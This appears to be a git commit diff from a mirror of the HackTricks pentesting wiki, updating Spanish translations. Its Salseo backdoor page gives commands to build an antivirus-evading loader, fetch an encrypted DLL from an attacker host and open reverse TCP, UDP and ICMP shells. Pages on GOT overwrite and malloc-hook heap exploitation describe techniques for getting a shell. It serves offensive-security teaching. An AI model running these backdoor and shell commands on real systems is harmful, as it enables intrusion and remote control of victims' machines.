mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb
This commit is contained in:
parent
69abfbf7c3
commit
c85bea12b3
112 changed files with 3288 additions and 2954 deletions
BIN
.gitbook/assets/arte.png
Normal file
BIN
.gitbook/assets/arte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 756 KiB |
BIN
.gitbook/assets/grte.png
Normal file
BIN
.gitbook/assets/grte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 879 KiB |
27
README.md
27
README.md
|
@ -24,7 +24,7 @@ Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **
|
|||
|
||||
Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** también apoya proyectos de código abierto de ciberseguridad como HackTricks :)
|
||||
**STM Cyber** también apoya proyectos de código abierto de ciberseguridad como ¡HackTricks! :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -42,7 +42,7 @@ Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** es la plataforma de ethical hacking y **bug bounty #1 de Europa**.
|
||||
**Intigriti** es la plataforma de ethical hacking y **bug bounty #1 de Europa.**
|
||||
|
||||
**Consejo de bug bounty**: ¡Regístrate en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
|
@ -71,7 +71,7 @@ Obtén acceso hoy:
|
|||
|
||||
* **Perspectivas de Hacking:** Participa en contenido que explora la emoción y los desafíos del hacking
|
||||
* **Noticias de Hacking en Tiempo Real:** Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
* **Últimos Anuncios:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones importantes de la plataforma
|
||||
* **Últimos Anuncios:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de la plataforma
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
|
@ -81,7 +81,7 @@ Obtén acceso hoy:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
**Configuración instantáneamente disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, detección y módulos de explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -93,7 +93,7 @@ Obtén acceso hoy:
|
|||
|
||||
SerpApi ofrece APIs en tiempo real rápidas y fáciles para **acceder a los resultados de los motores de búsqueda**. Raspan los motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
|
||||
|
||||
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para raspar diferentes motores de búsqueda, incluidos Google, Bing, Baidu, Yahoo, Yandex, y más.\
|
||||
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para raspar diferentes motores de búsqueda, incluidos Google, Bing, Baidu, Yahoo, Yandex y más.\
|
||||
A diferencia de otros proveedores, **SerpApi no solo raspa resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
|
||||
|
||||
Los clientes actuales de SerpApi incluyen a **Apple, Shopify y GrubHub**.\
|
||||
|
@ -148,16 +148,17 @@ Encuéntralos en:
|
|||
![Estadísticas de Github de HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Imagen de análisis de Repobeats")
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -279,7 +279,7 @@
|
|||
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Salseo
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Compilando los binarios
|
||||
|
||||
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
|
||||
|
||||
Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (Si Windows soporta x64, compílalos para esa arquitectura).
|
||||
Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura).
|
||||
|
||||
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
|
||||
|
||||
|
@ -40,23 +41,19 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
#### Salseo
|
||||
|
||||
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised system. It is written in C# and uses the .NET framework. Salseo can be compiled into an executable file and executed on the target system. The backdoor communicates over HTTP and can receive commands to execute shell commands, upload and download files, and more.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
|
||||
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
|
||||
|
||||
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
|
||||
|
||||
## **Ejecutar la puerta trasera**
|
||||
|
||||
### **Obteniendo un shell inverso TCP (descargando el dll codificado a través de HTTP)**
|
||||
### **Obteniendo una shell inversa TCP (descargando el dll codificado a través de HTTP)**
|
||||
|
||||
Recuerda iniciar un nc como oyente de shell inverso y un servidor HTTP para servir el EvilDalsa codificado.
|
||||
Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el EvilDalsa codificado.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
|
@ -81,7 +78,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Dentro de la víctima, ejecutemos la cosa de salseo:
|
||||
#### Dentro de la víctima, vamos a ejecutar la cosa de salseo:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
|
@ -97,15 +94,15 @@ Abre el proyecto SalseoLoader usando Visual Studio.
|
|||
|
||||
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)**
|
||||
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el aviso emergente)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
|
||||
|
||||
### Desinstala DllExport
|
||||
### **D**esinstala DllExport
|
||||
|
||||
Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
|
||||
|
||||
|
@ -139,9 +136,9 @@ Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Comp
|
|||
|
||||
Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
|
||||
|
||||
### Prueba la DLL generada
|
||||
### Prueba la Dll generada
|
||||
|
||||
Copia y pega la DLL donde quieras probarla.
|
||||
Copia y pega la Dll donde quieras probarla.
|
||||
|
||||
Ejecuta:
|
||||
```
|
||||
|
@ -164,7 +161,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
### CMD
|
||||
El comando CMD (Command Prompt) es una herramienta de la línea de comandos en sistemas Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos de texto.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -173,16 +170,17 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
Según la [página oficial de GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()` **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección es sobrescrita con un **One Gadget** por ejemplo y se llama a `malloc`, se llamará al **One Gadget**.
|
||||
Según [sitio oficial de GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()` **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección es sobrescrita con un **One Gadget** por ejemplo y se llama a `malloc`, se llamará al **One Gadget**.
|
||||
|
||||
Para llamar a malloc es posible esperar a que el programa lo llame o **llamando `printf("%10000$c")`** lo cual asigna demasiados bytes haciendo que `libc` llame a malloc para asignarlos en el heap.
|
||||
Para llamar a malloc es posible esperar a que el programa lo llame o **llamando `printf("%10000$c")`** que asigna demasiados bytes haciendo que `libc` llame a malloc para asignarlos en el heap.
|
||||
|
||||
Más información sobre One Gadget en:
|
||||
|
||||
|
@ -42,7 +43,7 @@ Es posible encontrar la dirección de `__free_hook` si el binario tiene símbolo
|
|||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
En el **break** mencionado en el código anterior en `$eax` estará ubicada la dirección del **free hook**.
|
||||
En el **break** mencionado en el código anterior en `$eax` estará ubicada la dirección del **`free hook`**.
|
||||
|
||||
Ahora se realiza un **ataque de fast bin**:
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# WWW2Exec - GOT/PLT
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
|
@ -24,9 +25,9 @@ Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que
|
|||
|
||||
### **PLT: Procedure Linkage Table**
|
||||
|
||||
La **Tabla de Enlace de Procedimientos (PLT)** trabaja estrechamente con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no ha sido resuelta. Después de que la dirección es resuelta, se almacena en la **GOT**.
|
||||
La **Tabla de Enlace de Procedimientos (PLT)** trabaja estrechamente con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no ha sido resuelta. Después de que la dirección es resuelta, se almacena en la **GOT**.
|
||||
|
||||
**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. Las **entradas de PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
|
||||
**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. Las **entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
|
||||
|
||||
## Obtener Ejecución
|
||||
|
||||
|
@ -38,7 +39,7 @@ Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
|
|||
|
||||
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
Usando GEF puedes **iniciar** una **sesión de depuración** y ejecutar **`got`** para ver la tabla got:
|
||||
|
||||
|
@ -50,7 +51,7 @@ En un binario, la GOT tiene las **direcciones de las funciones o** de la secció
|
|||
|
||||
Idealmente, **sobrescribirás** la **GOT** de una **función** que **será llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema).
|
||||
|
||||
Si **`system`** **no se utiliza** en el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, será necesario **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
|
||||
Si **`system`** **no es utilizado** por el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, deberás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
|
||||
|
||||
Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
|
||||
|
||||
|
@ -62,15 +63,15 @@ Las funciones comunes de libc van a llamar a **otras funciones internas** cuya G
|
|||
|
||||
Encuentra [**más información sobre esta técnica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||
|
||||
## **Free2system**
|
||||
### **Free2system**
|
||||
|
||||
En CTFs de explotación de montón, es común poder controlar el contenido de los fragmentos y en algún momento incluso sobrescribir la tabla GOT. Un truco simple para obtener RCE si no hay gadgets disponibles es sobrescribir la dirección GOT de `free` para apuntar a `system` y escribir dentro de un fragmento `"/bin/sh"`. De esta manera, cuando se libere este fragmento, ejecutará `system("/bin/sh")`.
|
||||
En CTFs de explotación de montón, es común poder controlar el contenido de los fragmentos y en algún momento incluso sobrescribir la tabla GOT. Un truco simple para obtener RCE si no se dispone de gadgets es sobrescribir la dirección GOT de `free` para apuntar a `system` y escribir dentro de un fragmento `"/bin/sh"`. De esta manera, cuando se libere este fragmento, ejecutará `system("/bin/sh")`.
|
||||
|
||||
## **Strlen2system**
|
||||
### **Strlen2system**
|
||||
|
||||
Otra técnica común es sobrescribir la dirección **`strlen`** GOT para apuntar a **`system`**, por lo que si esta función es llamada con entrada de usuario es posible pasar la cadena `"/bin/sh"` y obtener una shell.
|
||||
|
||||
Además, si `puts` se usa con entrada de usuario, es posible sobrescribir la dirección GOT de `puts` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener una shell porque **`puts` llamará a `strlen` con la entrada de usuario**.
|
||||
Además, si `puts` se utiliza con entrada de usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener una shell porque **`puts` llamará a `strlen` con la entrada de usuario**.
|
||||
|
||||
## **One Gadget**
|
||||
|
||||
|
@ -80,7 +81,7 @@ Además, si `puts` se usa con entrada de usuario, es posible sobrescribir la dir
|
|||
|
||||
## **Abusando de la GOT desde el Montón**
|
||||
|
||||
Una forma común de obtener RCE a partir de una vulnerabilidad de montón es abusar de un fastbin para poder agregar la parte de la tabla GOT en el fast bin, por lo que siempre que se asigne ese fragmento será posible **sobrescribir el puntero de una función, generalmente `free`**.\
|
||||
Una forma común de obtener RCE desde una vulnerabilidad de montón es abusar de un fastbin para poder agregar la parte de la tabla GOT en el fast bin, por lo que cada vez que se asigne ese fragmento será posible **sobrescribir el puntero de una función, generalmente `free`**.\
|
||||
Luego, apuntando `free` a `system` y liberando un fragmento donde se haya escrito `/bin/sh\x00` ejecutará una shell.
|
||||
|
||||
Es posible encontrar un [**ejemplo aquí**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
|
||||
|
@ -97,16 +98,17 @@ La protección **Full RELRO** está diseñada para protegerse contra este tipo d
|
|||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||
|
||||
{% hint style="success" %}
|
||||
